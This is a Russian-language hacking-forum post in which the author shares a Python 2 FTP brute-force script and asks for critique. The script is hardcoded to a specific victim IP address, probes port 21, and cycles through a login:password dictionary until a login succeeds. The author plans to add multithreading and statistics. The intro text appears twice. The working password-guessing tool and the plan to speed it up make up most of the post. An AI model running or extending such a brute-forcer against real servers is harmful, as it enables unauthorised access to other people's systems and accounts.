Всем хай. Написал на коленке первый брутер, буду рад критике.
Пока всё захардкоджено, потом добавлю флаги и аргументы.
Скрипт принимает словарь вида login:pass и айпи адресс жертвы.
Далее пингует её по сокету IP:PORT, если есть пинг значит начинает брут.
Если пинга нет, можно например перескочить на следующий IP.
Дело в том что столкнулся с такой проблемой после н-ного кол-ва брута появляется ошибка [10050] погуглил это вроде как ошибка на уровне сети и дальше сервак зависает.
Что хочу сделать:
Код:
# coding:utf-8
import ftplib,os,time,socket
# HOSTNAME BLOCK
hostname='117.247.99.29'
dictionary=r'D:\login-pass.txt'
# TIMEOUT BLOCK
time_out=2
# Проверка доступности хоста
def tcping(hostname, port=21, timeout=2):
s = socket.socket()
s.settimeout(timeout)
result = False
try:
s.connect((hostname, port))
s.close()
result = True
except Exception, e:
result = False
return result
if tcping(hostname):
print 'Host is up!'
ftp=ftplib.FTP(hostname,timeout=time_out)
# Перебор словаря из одного файла
with open(dictionary,'r') as file:
for line in file:
login,password=line.split(':')
login=str(login).strip()
password = str(password).strip()
print '[!] Trying login with %s:%s' % (login, password)
try:
time.sleep(time_out)
if ftp.login(user=login, passwd=password):
print '[+] Access granted! Login: %s, Password: %s' % (login, password)
ftp.close()
break
except Exception as err:
print '[-] %s' % err
# pass # Ignore errors
print '[-] BruteForce done... no valid login-pass.'
Пока всё захардкоджено, потом добавлю флаги и аргументы.
Скрипт принимает словарь вида login:pass и айпи адресс жертвы.
Далее пингует её по сокету IP:PORT, если есть пинг значит начинает брут.
Если пинга нет, можно например перескочить на следующий IP.
Дело в том что столкнулся с такой проблемой после н-ного кол-ва брута появляется ошибка [10050] погуглил это вроде как ошибка на уровне сети и дальше сервак зависает.
Что хочу сделать:
- добавить многопоток
- принимать аргументы из строки
- Сократить запись.
- Отображать время потраченое на брут, кол-во оставшихся комбинаций и прочую статистику.
Последнее редактирование: